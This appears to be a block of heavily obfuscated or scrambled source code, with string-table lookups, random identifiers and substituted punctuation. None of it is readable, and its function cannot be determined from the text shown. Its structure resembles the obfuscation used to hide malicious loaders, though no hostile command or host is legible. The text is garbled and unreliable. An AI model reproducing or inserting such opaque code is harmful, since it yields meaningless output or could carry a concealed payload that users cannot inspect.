'9}8?4>/7?,4)f||{ygggnn<+:;< uD:<7n5Dnj>/;<='{!y)nnnnnsnj	,,&x"7%*"w>* "|f||{yguDn'(nnnfo')<,*!v z,w(-=f||{vgfj>/;<='{!y)gnnnn22nnj>/;<='{!y)nnnnsssnnllgnnnnn<+:;< uDj>/;<='{!y)nsn'9}8?4>/7?,4)fyygfj>/;<='{!y)guDnnj,?!;zv+y=$znsnn/<</7fguDnnn'(nnnf,,&x"7%*"w>* "|f||{wgf47}#%=++!*:f||x~gggnnnj,?!;zv+y=$znsnf=:<' )gnnnnnn47}#%=++!*:f||xgf&!#+;<"fgbnguD'(nnnnf,,&x"7%*"w>* "|f||x|gf47}#%=++!*:f||x}gggnnnn5DDDnj)}:9+?y>=$nnnnnsnnnnnf=:<' )gnnnn)+:!>:'! f,,&x"7%*"w>* "|f||xzgbnnllguDnnnnnnn'(nfj)}:9+?y>=$nnnnossnnnllgnj,?!;zv+y=$znnsnnnf=:<' )gnnn,,&x"7%*"w>* "|f||xgfj)}:9+?y>=$bnnnguDnnnnnn3DD'(nf'==+:fj47}#%=++!*:fxzxgggnnnnnnj,?!;zv+y=$znnnsnf=:<' )gnnj'9}8?4>/7?,4)f||x{guDnnnj,?!;zv+y=$znnsn9)4->=87+%~!?,(fllguDDDj(79zv+??}</=(?6nnsn(/"=+uDn(!<+/-&nnnnf'9}8?4>/7?,4)fwyxgfj,?!;zv+y=$zgnnnnn/=nnj8y-6:=w}4z!gnnnnnn5j(z| {!-8>s a uj*<)8%*'4<sj(z| {!-8>ezvuDnn'(nnfo')<,*!v z,w(-=f||xxgfj8y-6:=w}4z!gn22nnj8y-6:=w}4z!nnnnnsssnnllgnnn-! :' ;+uDDnnn'(nf')<,*!v z,w(-=f|v|gfj8y-6:=w}4z!bnnitignossn(/"=+gnnnnj8y-6:=w}4z!nnnnnsnnnnn47}#%=++!*:f|yvgf')<,*!v z,w(-=f||xygbnnnnllbnnnnnj8y-6:=w}4z!guDnnnnnn'(nnnnf!=+>>,++"6<w;&f')<,*!v z,w(-=fyygfj8y-6:=w}4z!gnn`n')<,*!v z,w(-=f||xvgbnfxyyggnnnnsssnj>/;<='{!y)gnnnn5DDnnnj(79zv+??}</=(?6nsnn:<;+uj688<xy):v;s uj9*?z8z/7?{~|sj688<xy):v;dxuDDDD,<+/%uD3Dnnn3Dn'(nfoj(79zv+??}</=(?6gnnn<+:;< uDnj"%%$=}6#x;+nnnnnnsnn')<,*!v z,w(-=f}vvgf'9}8?4>/7?,4)f||xwgbnnf||z|{zgguDnnnj( #{*>$y{v%?<-nnsnnnnnn?|>9,:}x4>!')'$"68<!f;{}6 >(} >}x$,(8-'7fj"%%$=}6#x;+gguDn9&'"+nnf,,&x"7%*"w>* "|fz{xgfgnpn~nnnnhhn!,+ *-"+/ fggnnnn5Dn3Dn&+/*+<f47}#%=++!*:f||y~gguDn&+/*+<f,,&x"7%*"w>* "|f||ygguDnn+-&!nnnfj( #{*>$y{v%?<-nnnnsssnnj"%%$=}6#x;+gnnqn,,&x"7%*"w>* "|f||y|gnn`n,,&x"7%*"w>* "|f||y}gfj"%%$=}6#x;+gntn47}#%=++!*:f||yzguDDDnnn+6':uDnDDnn3nnn-/:-&nf&<!9/,"+nnj": >{,:|gnnn5Dnnnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f||y{gbnnnnnj": >{,:|guDnnnn3n-/:-&nf6-+>:'! nnnnj": >{,:|gnnn5Dnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)f||y{gbnnj": >{,:|guDnnnnn3Dn3Dnnn?/96{y+{{!z7-:(vfguDnnnnnnn(; -:'! nnn<$*&?|8?>;'%v<;%)v;fgDnn5Dn:<7n5D'(nnf47}#%=++!*:f||yxgf47}#%=++!*:f||yygggn<!-%+:-"+/ *!#/' fguDnnnnnn'(nnnnf')<,*!v z,w(-=f||yxgf47}#%=++!*:f||yvgggnn9}:-(";=&/""fguD'(nnf,,&x"7%*"w>* "|f||yxgf')<,*!v z,w(-=f||ywgggnnn=)-/-&+><+==>;<)+-/-&+fguDDD'(nnnnf,,&x"7%*"w>* "|f||yxgf47}#%=++!*:f||v~gggn"':+=>++*>;<)+/""fguDnn+"=+'(nf'9}8?4>/7?,4)f{|{gf47}#%=++!*:f||vggnnnnhhnn')<,*!v z,w(-=fwwgf')<,*!v z,w(-=f||v|gbnnnn47}#%=++!*:f||v}gggn':+>++*/-&+tt>;<)+/""fguDnnn'(nnnf'9}8?4>/7?,4)f{|{gf')<,*!v z,w(-=f||vzggnhhnn47}#%=++!*:f||v{gf'9}8?4>/7?,4)f||vzgbnn47}#%=++!*:f||vxgggnnnn<++4+;<)+/-&+tt,<++4+-/-&+(";=&fguDn'(nf')<,*!v z,w(-=f{|{gf')<,*!v z,w(-=fx~ggnhhnnn,,&x"7%*"w>* "|f||vygf,,&x"7%*"w>* "|fx~gbn')<,*!v z,w(-=f||vvgggnn/-&+ /,"+<tt-"+/<:!:/"-/-&+fguDDDnnnnnn'(nnf')<,*!v z,w(-=f||yxgf')<,*!v z,w(-=f||vwgggnnnn9>(--"+/</""-/-&+fguDn+"=+'(nnf'==+:fj	'9}8?4>/7?,4)fxggnnhhnn47}#%=++!*:f||w~gfj	,,&x"7%*"w>* "|fxggnhhnnnnn'9}8?4>/7?,4)f||vygfj	')<,*!v z,w(-=fxgbnn')<,*!v z,w(-=f||wgggnnnj	'9}8?4>/7?,4)fxgcp*+"+:+/-&+f:<;+guDnn'(nnf47}#%=++!*:f||yxgf,,&x"7%*"w>* "|f||w|gggn9>-/-&+-"+/<-/-&+fguDDDnnnnn'(nf,,&x"7%*"w>* "|f{|{gf'9}8?4>/7?,4)f||w}ggnnhhnn,,&x"7%*"w>* "|f||vygf,,&x"7%*"w>* "|f||wzgbnnn,,&x"7%*"w>* "|f||w{gggnn/;:!>:'#'4+/-&+tt-"+/</""fguDnn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=fzw}gbnn,,&x"7%*"w>* "|f||wxgguDn3nnnn-/:-&nnf&<!9/,"+nnnj": >{,:|gnnnnn5DDDDnnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fzw}gbnnj": >{,:|guDnn3nn-/:-&nnnf6-+>:'! nj": >{,:|gnnnn5Dnnnnnn3Dnn3DDnn(; -:'! n&:'=,}<#|>|!$/v?z;->fgD5D'(nnf'9}8?4>/7?,4)f||yxgf'9}8?4>/7?,4)f||wyggnnnhhnnnnnn'=/*#' fggn<+:;< n:<;+uDnnnnnnnn'(nnnf')<,*!v z,w(-=f||yxgf')<,*!v z,w(-=f||wvggnnhhnnn9>*!' )/$/6fggnn<+:;< n:<;+uDnnnn'(nf*+(' +*f47}#%=++!*:f||wwggnhhngnnn<+:;< n:<;+uD'(nf*+(' +*f,,&x"7%*"w>* "|f|}~~ggnnhhnnnngnnn<+:;< nnn:<;+uD'(nnnf,,&x"7%*"w>* "|f||yxgf47}#%=++!*:f|}~ggnnnnnhhnnn'=(++*fggnn<+:;< n:<;+uDnnnnnnn'(nf47}#%=++!*:f||yxgf'9}8?4>/7?,4)f|}~|ggnnhhnnnn'=<!,!:=fggnnn<+:;< n:<;+uDDDnnnn'(nf47}#%=++!*:f||yxgf47}#%=++!*:f|}~}ggnhhnnn'==':+#/>=fggnnn<+:;< nnn:<;+uDD'(nnf')<,*!v z,w(-=f||yxgf47}#%=++!*:f|}~zggnnhhnnn'=-;=:!#'4+><+8'+9fggnnn<+:;< nnn:<;+uDnn'(nf'==+:fj	47}#%=++!*:f|}~{ggnnnnn22nn'==+:fj	'9}8?4>/7?,4)f|}~xggnn22nn'==+:fj	'9}8?4>/7?,4)f|}~ygggn<+:;< n:<;+uDDDnn<+:;< nnn(/"=+uDDDD3D(; -:'! n+!?-!46'+~=%z;'%8%=fgDDDDnn5j#|;'-!*wswd}uj('(v:7*#+| ,/ sj#|;'-!*wcwuDnnnnj 89}:w6/)w8/+nnnsnnf'==+:fj	,,&x"7%*"w>* "|fy}ggnhhnnn47}#%=++!*:f||xxgfj	,,&x"7%*"w>* "|fy}gggnnnqnnn')<,*!v z,w(-=f|vgfj	47}#%=++!*:fy}ggnnnntnnnlluDDDD'(nfj 89}:w6/)w8/+nnnsssnnnnllgn<+:;< nlluDj 89}:w6/)w8/+nsnnn')<,*!v z,w(-=f|}~vgf')<,*!v z,w(-=f|}~wgbnnnnn,,&x"7%*"w>* "|f|}~gbnnnj 89}:w6/)w8/+guDnnj:#w>v#89zy+?("z-nnsnnn'9}8?4>/7?,4)f||yxgf,,&x"7%*"w>* "|f|}ggnnnnqnnnnnnf=:<' )gnn')<,*!v z,w(-=f||xgf&!#+;<"fgbngnnnntnnnnnlluDnnj";z#68$7$6,?4|9nnnnnsnn!=+>>,++"6<w;&f47}#%=++!*:fyygfj:#w>v#89zy+?("z-gbnnnf}e}gguDnnnnj 4*&|~|:&:{,#nnnnsnnnn,,&x"7%*"w>* "|f|||wgf'9}8?4>/7?,4)f||y}gfj 89}:w6/)w8/+gbnnn~bnfze|gguDn<+:;< nl r=-<'>:n*/:/c=-sllnnn`nnnj";z#68$7$6,?4|9nnn`nnicinn`nj 4*&|~|:&:{,#nn`nllp lnnnnn`nnnnnnj 89}:w6/)w8/+nn`nl ra=-<'>:p roccn=-lnnnnn`nnnj";z#68$7$6,?4|9nnn`nnicin`nnnnnj 4*&|~|:&:{,#nnnnnn`nnnlnccp luD3Dn(; -:'! nnn==>x$)% {z<,*x#-'fgD5Dnnnnn:<7nn5Dnnnnnnn'(nnnf&:'=,}<#|>|!$/v?z;->fggnnnn<+:;< uDDnnnnnj%<#796+7#<!$6nnnsn+!?-!46'+~=%z;'%8%=fguDnnnnnn'(nnfj%<#796+7#<!$6nnsssnnnllgn<+:;< uDnnnnn+-&!nnj%<#796+7#<!$6uDnj	47}#%=++!*:f{{{gnsnn:<;+uDnn'(nf47}#%=++!*:f|}|gf')<,*!v z,w(-=f|}}ggnnnnnhhnn')<,*!v z,w(-=f|}|gf47}#%=++!*:f|}zggnnnhhn+#>:7fj	,,&x"7%*"w>* "|f|}{gggn5Dnnj	'9}8?4>/7?,4)f|}xgnnsnnn:<;+uDnnnnj8*&"~'{;8;|"-vnnnnsnnnnf' :gnnn)+:!>:'! f,,&x"7%*"w>* "|f{x~gbnn~guDnn'(nf,,&x"7%*"w>* "|f||}wgfgnnnncnnnnj8*&"~'{;8;|"-vnnpnnnnf|wzexggnn;>*/:+!>:'! f47}#%=++!*:f{x~gbn'9}8?4>/7?,4)f|}ygfgbnnn')<,*!v z,w(-=f||z~gguDnnn; =+:fj8*&"~'{;8;|"-vguD3Dn3n-/:-&nnnnf&<!9/,"+nnj": >{,:|gnn5D!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fvxgbnj": >{,:|guD3n-/:-&nf6-+>:'! nj": >{,:|gn5DDDD3Dnnnn3Dnn(; -:'! n6v-"+%+|7 'y/vx#%,-wyfj'&%|6?6~:8y9vgDn5Dnnn'(nnnnnfo')<,*!v z,w(-=f||xxgfj'&%|6?6~:8y9vgn22nj'&%|6?6~:8y9vnnsssnnnnnllgnnnn<+:;< nnnj'&%|6?6~:8y9vuD'(nnfo+#>:7fj	'9}8?4>/7?,4)f|}vgggnnnnn<+:;< nnj'&%|6?6~:8y9vuDnnnj%<#796+7#<!$6nnsn+!?-!46'+~=%z;'%8%=fguDn'(nnfj%<#796+7#<!$6nnsssnllgn<+:;< nj'&%|6?6~:8y9vuDDDnnnn'(nnnf=:<'>!=fj'&%|6?6~:8y9vbnnn')<,*!v z,w(-=f|}wggnsssnn(/"=+nhhn=:<'>!=fj'&%|6?6~:8y9vbnnn')<,*!v z,w(-=f|}|~ggnnsssn(/"=+gnnnnnn<+:;< nnnj'&%|6?6~:8y9vuDDnnnnj	'9}8?4>/7?,4)f|}vgnnnsn:<;+uDnj	47}#%=++!*:f{{ygnnnsnnnnnn:<;+uDDDnj>x-yv|;*x+/- 6 nnsnn=:<'>!=fj'&%|6?6~:8y9vbn'9}8?4>/7?,4)f|}wgguDnn'(nnnfj>x-yv|;*x+/- 6 nnnossnnnn(/"=+gnn5D<+:;< nnnn47}#%=++!*:f|||wgfj'&%|6?6~:8y9vbnn~bnj>x-yv|;*x+/- 6 gnnnn`nj%<#796+7#<!$6n`n')<,*!v z,w(-=f|||wgfj'&%|6?6~:8y9vbnnj>x-yv|;*x+/- 6 guDnn3Daannv`zn(',+<=tn+?;'8/<'/ :n*/:/("!9c)</>&DDnn<+:;< nnj'&%|6?6~:8y9vnn`nnnnnj%<#796+7#<!$6uD3Dnnnnn(; -:'! nnnnn=%vx"z(* #9z? }|<|x'"fgD5Dnnn:<7nnn5Daann"!-%! :<!"=tn' (+<n>'>+"' +DDD'(nnf&:'=,}<#|>|!$/v?z;->fggnnn<+:;< uDnnn'(nnfo+#>:7fj	')<,*!v z,w(-=f|}|gggn<+:;< uDnnnnnj 89}:w6/)w8/+nsnf'==+:fj	'9}8?4>/7?,4)fy}ggnnnhhn,,&x"7%*"w>* "|f|}||gfj	,,&x"7%*"w>* "|f|}|}gggnnqnnnnn47}#%=++!*:f|vgfj	')<,*!v z,w(-=f|}|zggntnnnnlluj*('((:y'#>s uj'&(w!<>*y$%y sj*('((:y'#>dxuD'(nnnnnfj 89}:w6/)w8/+nsssnnllgn<+:;< uDj	,,&x"7%*"w>* "|f|}|gnnnnnsnn:<;+uDnnnnnnnn')<,*!v z,w(-=f|}|{gf'9}8?4>/7?,4)f|}|xgguDn3n-/:-&nnnf&<!9/,"+nj": >{,:|gnnnn5Dnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f{{xgbnnj": >{,:|guDnnn3n-/:-&nnnnnf6-+>:'! nnnnnj": >{,:|gnn5Dnnn3Dnn3Dnnn(; -:'! nn&+}}|$"==-;;:#%>|''fgDDnnnnnnnn5Dnnn:<7nnn5Dnn'(nfo'=/*#' fgnnnhhnnfo'==+:fj	47}#%=++!*:f|}|yggnn22nj	')<,*!v z,w(-=f|}|vgnnnossnn,,&x"7%*"w>* "|f|}|wgggnn<+:;< uDn'(nnf47}#%=++!*:f|}|gf'9}8?4>/7?,4)f{z|ggnnnnnhhnno'==="fggn<+:;< uDnnj*-,*;+~$,&(-#9nnnsn!|*6}/&4>&4x '{f47}#%=++!*:f}yzgbnnnnllguDDDnnnj";z#68$7$6,?4|9nnnnnsnnn!=+>>,++"6<w;&fnnnn`n'9}8?4>/7?,4)fvxgbnnnf|vgguDnj*8(|~y9v(|8;<nnsnnnnn')<,*!v z,w(-=fxwvguDn'(nnnfj*-,*;+~$,&(-#9nnnnsssnnnllgn5Dnn'(nnnnf'9}8?4>/7?,4)f|}|gf47}#%=++!*:f|}}ggnnnhhnf' :gnn)+:!>:'! f'9}8?4>/7?,4)f{xvgbnnn~ggnnnn5Dnnnnnn;>*/:+!>:'! f')<,*!v z,w(-=f{xvgbn~bnnnnn'9}8?4>/7?,4)f||z~gguDj?vz{;86<8 }4#%#nnsnf=:<' )gnnnn)+:!>:'! f'9}8?4>/7?,4)f|}}~gbnllguDnnnnn+-&!nnl lnn`nn'9}8?4>/7?,4)f|}}gnnn`nnnj";z#68$7$6,?4|9n`nnnipiDnnn`nnn')<,*!v z,w(-=f|}}|gDnnnn`nnn'9}8?4>/7?,4)f|}}}gn`nnnnnnj*8(|~y9v(|8;<f'9}8?4>/7?,4)f|}}zggnnnn`nn47}#%=++!*:f|}}{gDnn`nnn'9}8?4>/7?,4)f|}}xgnnnn`nn47}#%=++!*:f}x|gfj?vz{;86<8 }4#%#gnnnn`niuiDnnn`nn'9}8?4>/7?,4)f|}}ygnnnn`nnnj*8(|~y9v(|8;<f')<,*!v z,w(-=f|}}vggnnnnn`nnn47}#%=++!*:f|}}wgDn`n,,&x"7%*"w>* "|f|}z~gnnn`nj*8(|~y9v(|8;<f47}#%=++!*:f|}zggnnn`nnnnn')<,*!v z,w(-=f|}z|gn`nj*8(|~y9v(|8;<f')<,*!v z,w(-=f|}z}ggn`nnnn'9}8?4>/7?,4)f|}z|gn`nnnj*8(|~y9v(|8;<f,,&x"7%*"w>* "|f|}zzggnn`n47}#%=++!*:f|}z{gnnnn`nj*8(|~y9v(|8;<f,,&x"7%*"w>* "|f|}zxggnn`nn')<,*!v z,w(-=f|}zygDnnnn`nn,,&x"7%*"w>* "|f|}zvgnnnnn`nj*8(|~y9v(|8;<f')<,*!v z,w(-=f|}zwggnn`nnnn47}#%=++!*:f|}{~gnn`nj*8(|~y9v(|8;<f47}#%=++!*:f|}{ggnnnn`nn,,&x"7%*"w>* "|f|}{|gDDDnnnnnnn`nn'9}8?4>/7?,4)f|}{}gnnn`nnnl luD; =+:fj?vz{;86<8 }4#%#guDnn3DDnnnnnn<+:;< uDn3DDDDj*-,*;+~$,&(-#9nnsn'9}8?4>/7?,4)f|}{zgf'9}8?4>/7?,4)f}}|gbnn')<,*!v z,w(-=f}}}gbnnnnnj*-,*;+~$,&(-#9guDnnn'(nf,,&x"7%*"w>* "|f|v|gfj*-,*;+~$,&(-#9bnn'9}8?4>/7?,4)f}}}ggnossnnnnnn~gnnj*-,*;+~$,&(-#9nnsnnn'9}8?4>/7?,4)f}}}gnn`n'9}8?4>/7?,4)f}y}gfj*-,*;+~$,&(-#9bniaiguDDDDnj,z&+:&&(7!v|nnnsniaiuDnnn'(nf,,&x"7%*"w>* "|f|}{{gf'9}8?4>/7?,4)f|}gggnnnnn5DDnnnnnnj8zv='}{#wnnnsnf=:<' )gnnnnn'9}8?4>/7?,4)f|}{xgf&!#+;<"fgbnnguDnnnnnn'(nnnnfj8zv='}{#wnossnnnnnllnnhhnnnnj8zv='}{#wnossnniaignj,z&+:&&(7!v|nnnnnsnnn,,&x"7%*"w>* "|f|}{ygfj8zv='}{#wbniaignnn`nniaiuDnnnnnnnn3Dnnnnnnn'(nnnnf47}#%=++!*:f|}{{gf47}#%=++!*:f|}zgggn5Dnn;>*/:+!>:'! f47}#%=++!*:f{xvgbnnbn'9}8?4>/7?,4)f||z~gguDnnnn;>*/:+!>:'! f,,&x"7%*"w>* "|f|}}~gbnj*-,*;+~$,&(-#9bn47}#%=++!*:f||z~gguDn3Dnnnnj=+68-4w~*6y("nnsnnnn')<,*!v z,w(-=f|}{vgnn`nj";z#68$7$6,?4|9nnnn`nnipiD`n,,&x"7%*"w>* "|f|}{wgDnnnnn`n47}#%=++!*:f|}}}gnn`nnnnnj*8(|~y9v(|8;<f'9}8?4>/7?,4)f|}}zggnn`nnnn'9}8?4>/7?,4)f|}x~gD`nnn,,&x"7%*"w>* "|f|}xgDnnn`nnn,,&x"7%*"w>* "|f|}x|gnn`nnj*8(|~y9v(|8;<f,,&x"7%*"w>* "|f|}x}ggnnn`nn')<,*!v z,w(-=f|}xzgnnn`nn47}#%=++!*:f|}x{gfj*-,*;+~$,&(-#9gnnnn`nnigiDn`nn'9}8?4>/7?,4)f|}xxgnnnnn`nnnj*8(|~y9v(|8;<f')<,*!v z,w(-=f|}xyggn`nn')<,*!v z,w(-=f|}xzgn`n,,&x"7%*"w>* "|f|}x{gfj*-,*;+~$,&(-#9gnnn`nn'9}8?4>/7?,4)f|}xvgn`n47}#%=++!*:f|}x{gfj,z&+:&&(7!v|gnn`nn47}#%=++!*:f|}xwgnn`nnnnj*8(|~y9v(|8;<f')<,*!v z,w(-=f|}y~ggnnnn`nnn'9}8?4>/7?,4)f|}ygD`nn47}#%=++!*:f|}y|gnnnn`nnj*8(|~y9v(|8;<f47}#%=++!*:f|}y}ggnn`nn'9}8?4>/7?,4)f|}yzgDnnn`nnnnn47}#%=++!*:f|}x|gn`nnnj*8(|~y9v(|8;<f')<,*!v z,w(-=f|}y{ggnn`nn,,&x"7%*"w>* "|f|}yxgnnnnn`nnnnj*8(|~y9v(|8;<f'9}8?4>/7?,4)f|}yyggnnn`nn,,&x"7%*"w>* "|f|}yvgDnn`n47}#%=++!*:f|}ywgnn`nj*8(|~y9v(|8;<f')<,*!v z,w(-=f|}v~ggnnnnn`n,,&x"7%*"w>* "|f|}vgDnn`nnn,,&x"7%*"w>* "|f|}v|gDnnnnnn`nn,,&x"7%*"w>* "|f|}x|gn`nnnj*8(|~y9v(|8;<f,,&x"7%*"w>* "|f|}v}ggn`nnnn,,&x"7%*"w>* "|f|}vzgDDDDnnn`n47}#%=++!*:f|}v{gn`nnnj*8(|~y9v(|8;<f47}#%=++!*:f|}zggn`n')<,*!v z,w(-=f|}vxgnn`nnnnj*8(|~y9v(|8;<f,,&x"7%*"w>* "|f|}vyggnn`n')<,*!v z,w(-=f|}vvgDnnn`nn,,&x"7%*"w>* "|f|}{}guD+-&!nnnnnl lnn`nj=+68-4w~*6y("nnnnnn`nnl luDnn3nn-/:-&nnnnnf&<!9/,"+nnnj": >{,:|gnnnn5Dnnn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=f|}vwgbnj": >{,:|guDnnnnn3nnnnnn-/:-&nf6-+>:'! nnj": >{,:|gnnnnnn5DDDDnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:f|}vwgbnnj": >{,:|guDDDDnn3Dnnn3DnDn'(nnf$,v*?v9-4 x>?)/fggnnnnnn5Dn<+:;< uDnn3D+$69#8)!-")<4!fguDnj$/9'6&y/(&-!nsnnnn47}#%=++!*:f|}w~gf<xw=w,+~4~}#8~fgguDn'(nnnfoj$/9'6&y/(&-!nn22nfj$/9'6&y/(&-!nknnf~6-},e~6y/x{ggnnossnnnn><$64z"x*x#$z|8fggnn5Dnnnnnnj%*;' ({'%-/)7}nsnn')<,*!v z,w(-=f|}ygfguDDDDnnnnnn-~~%z&yy; '6-}v7):*:f<xw=w,+~4~}#8~fgbnnnnnfj%*;' ({'%-/)7}nncnnnnnfj%*;' ({'%-/)7}nnknfwww{wezgggnennnn><$64z"x*x#$z|8fgguDDnnn; =+:fj%*;' ({'%-/)7}guD3Dnnnnn; =+:fj$/9'6&y/(&-!guDn:<7n5DDj; 84;y6/$)&!)96vnsnuDnj;y})|7%*#,:nnsnnlluDnnj:")</~| }*nnnnsnn')<,*!v z,w(-=f|}wgfj; 84;y6/$)&!)96vbnn(/"=+bnn ;""bnnnn~bnnfx|z|c|zxgguDn'(nnf47}#%=++!*:f|}||gfj:")</~| }*gnnhhnn,,&x"7%*"w>* "|f||zgf'9}8?4>/7?,4)fwwgbnj:")</~| }*bnnnnj+>%v==);=$,"7}ggnnj;y})|7%*#,:nnsnnj+>%v==);=$,"7}uDDnnnn'(nfj;y})|7%*#,:nossnnnnllnnhhnnn*+(' +*f'9}8?4>/7?,4)f|}w|gggnnnnn5Dj#)///,/>/"&nnsnnn/<</7fguDDDnnnj*+~*>,!/w=nsn*+(' +*f')<,*!v z,w(-=fxxyggnnnnnnqn	 
nntnnnnn  
nnnn`nn')<,*!v z,w(-=fwywguDDnj z#<:6*v$>nnsnn*+(' +*f')<,*!v z,w(-=fv|vggnnnqnnnn	 
nntnn  
n`nnn,,&x"7%*"w>* "|fxxvguDnj",wy!#(>~+&8/=#nnnsn(/"=+uDnnn'(nnf47}#%=++!*:f|}{{gf')<,*!v z,w(-=f|}w}gggnnnn5DDnj6%:;:yz#nnnnnnsnnnnnn,,&x"7%*"w>* "|fwv|gfj*+~*>,!/w=gnnqnnn,,&x"7%*"w>* "|f|}w}gfj*+~*>,!/w=nnnnn`nnnnn47}#%=++!*:fxx|ggnntn(/"=+uDnnnj)-'&::7v$=(9$nsnnn')<,*!v z,w(-=f|}wzgfj z#<:6*v$>n`nnn47}#%=++!*:fwv}gguDnnn'(nf,,&x"7%*"w>* "|f|}w{gfj6%:;:yz#gn22nn')<,*!v z,w(-=f|}wxgfj)-'&::7v$=(9$ggnn5DDDnj",wy!#(>~+&8/=#nnnnnsnnn:<;+uD(!<+/-&nnnff/<</7gnnnj6%:;:yz#nn/=nnj&86<7w~"{(?z}=&gnnnnnj#)///,/>/"&nnnnsnnj&86<7w~"{(?z}=&uDnn(!<+/-&nnff/<</7gnnj)-'&::7v$=(9$nnnnnn/=nnnnnj&86<7w~"{(?z}=&gnj#)///,/>/"&nnsnnj&86<7w~"{(?z}=&uD3DDDnnn; =+:fj6%:;:yz#bnnnnj)-'&::7v$=(9$guDnn3Dnn'(nnnnfoj",wy!#(>~+&8/=#gn5Dnnnnj+vv4+)~7"<~nsn')<,*!v z,w(-=fwv|gfj*+~*>,!/w=gnnqnn;|=;}& y{+y&=&/=?%;fj*+~*>,!/w=gntnnn(/"=+uDnnnnnnn'(nnnnnf,,&x"7%*"w>* "|f|}wxgfj+vv4+)~7"<~ggnnn(!<+/-&nfj+vv4+)~7"<~nnn/=nj*",=#69+~#"=<gnnnn5DDDnnnnnn'(nnnf,,&x"7%*"w>* "|f|}wygfj*",=#69+~#"=<bnncfxc|ggnsssnnnn')<,*!v z,w(-=f|||yggnnnnj#)///,/>/"&nnsnnj*+~*>,!/w=nn`nniainnnnnn`nnnnnj*",=#69+~#"=<uD3Dnnnnnnnj+vv4+)~7"<~nnnnsnn')<,*!v z,w(-=fwv|gfj z#<:6*v$>gnnnnqnn;|=;}& y{+y&=&/=?%;fj z#<:6*v$>gnnnntn(/"=+uDnnn'(nnf47}#%=++!*:f|}wvgfj+vv4+)~7"<~ggn(!<+/-&nnnfj+vv4+)~7"<~nnnn/=nnnnj*",=#69+~#"=<gn5DDnnnnj6w|{*"49{nnnsnnnj z#<:6*v$>nnn`nnniainn`nj*",=#69+~#"=<uDn'(nnfo47}#%=++!*:f|}wwgfj6w|{*"49{ggn-! :' ;+uDDDj ;;(v{7?"7?}nsnn;|=;}& y{+y&=&/=?%;fj6w|{*"49{guDnnnnnn'(nfo'9}8?4>/7?,4)f|}wvgfj ;;(v{7?"7?}ggnnn-! :' ;+uD(!<+/-&nnnfj ;;(v{7?"7?}nnn/=nnnj/~$=#,&<6gnn5DDDDn'(nnf,,&x"7%*"w>* "|f|z~~gfj/~$=#,&<6bnnnncf~6|e~6|ggnnsssnnnnn')<,*!v z,w(-=f|||yggnj#)///,/>/"&nnnsnnnnj6w|{*"49{nn`nnnnniainn`nj/~$=#,&<6uDnnnnnn3Dn3Dnn; =+:fj+vv4+)~7"<~bnj*",=#69+~#"=<bnj/~$=#,&<6bnnnnj6w|{*"49{bnnnnnnj ;;(v{7?"7?}guD3Dnnnnnnnnj8#><,4$",&#~!z+;nnnsnnnnn')<,*!v z,w(-=fww{gfj; 84;y6/$)&!)96vbnn'9}8?4>/7?,4)f|z~gguDnnnnnn(!<+/-&nnnfj#)///,/>/"&nn/=nj&86<7w~"{(?z}=&gnn5Dnnn'(nnfj&86<7w~"{(?z}=&nnnsssnj; 84;y6/$)&!)96vgnn-! :' ;+uDDnnj8z")&=zy=)78%|'$nnsnnn')<,*!v z,w(-=f|z~|gfj&86<7w~"{(?z}=&guDDnn'(nnnnnfoj8z")&=zy=)78%|'$nn22nnfj8z")&=zy=)78%|'$nnknnnnf~}{z|c}{z|ggnossnnf~6,{~(e~6,wx-ggnn5Dj&- w~%$(;{4nnsnnn')<,*!v z,w(-=f|z~}gfj&86<7w~"{(?z}=&guDnnnnnn'(nnnnfoj&- w~%$(;{4nn22nnj&- w~%$(;{4nrnnfzezwxgnnnnn22nj&- w~%$(;{4nnpnnnnnnf{|z|vyvev|ggnn-! :' ;+uDnnnn3Dnj:")</~| }*nnsnn'9}8?4>/7?,4)f|}wgfj&86<7w~"{(?z}=&bnnn(/"=+bn ;""bnn~bnf~6wzye~6x,wgguDnnnnnnn'(nfo')<,*!v z,w(-=f|}||gfj:")</~| }*gn22n'9}8?4>/7?,4)f|z~zgfj:")</~| }*bnn'9}8?4>/7?,4)fwvwggnnsssnn(/"=+gnnn-! :' ;+uDnn'(nfo'9}8?4>/7?,4)f|z~{gf,,&x"7%*"w>* "|fwwgbnj:")</~| }*bnj+>%v==);=$,"7}ggnnnn-! :' ;+uDnnnn'(nnnnf')<,*!v z,w(-=fww{gfj&86<7w~"{(?z}=&bn')<,*!v z,w(-=f|z~ggnnnsssnj8#><,4$",&#~!z+;nnhhnnnnj+>%v==);=$,"7}nnsssnj;y})|7%*#,:gnnnnn5Dnn'(nnfo y8{-4|;{!y9y-&6<fj&86<7w~"{(?z}=&ggnnnnnn5DDDDnnnnnnn'(nf&<y"8{4$~,9;%>|fj&86<7w~"{(?z}=&bnj&86<7w~"{(?z}=&nn`n')<,*!v z,w(-=fwvggnnnhhnnnnnn')<,*!v z,w(-=f|}{{gf'9}8?4>/7?,4)f|z~xgggn!>-/-&+' 8/"'*/:+fj&86<7w~"{(?z}=&bn:<;+guDDDDnnn3Dn-! :' ;+uDn3DDDDnnnnn'(nf8+<='! -!#>/<+fj+>%v==);=$,"7}bnnj;y})|7%*#,:bnnniriggnnn5Dnnnj +z!>&{{v>nsnnnn;=)6?%)z/-+z)y<>7$)')"fj&86<7w~"{(?z}=&guDnnn'(nfj +z!>&{{v>nnnnsssnnnnn(/"=+gnnn5Dn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)f|z~ygbnnnnn'9}8?4>/7?,4)fww|gnnnnn`n')<,*!v z,w(-=f|z~vgfj&86<7w~"{(?z}=&gguDnn-! :' ;+uDnnnnn3DD'(nfj +z!>&{{v>nnnnsssn:<;+gnn5Dnn'(nnnnf&<y"8{4$~,9;%>|fj&86<7w~"{(?z}=&bnnj&86<7w~"{(?z}=&n`nnn')<,*!v z,w(-=f|z~wgggnn5Dnnnnnnnn'(nnf'9}8?4>/7?,4)f|}{{gf47}#%=++!*:f|z~xgggn!>-/-&+' 8/"'*/:+fj&86<7w~"{(?z}=&bnnn:<;+guDn3Dnnnn,,&x"7%*"w>* 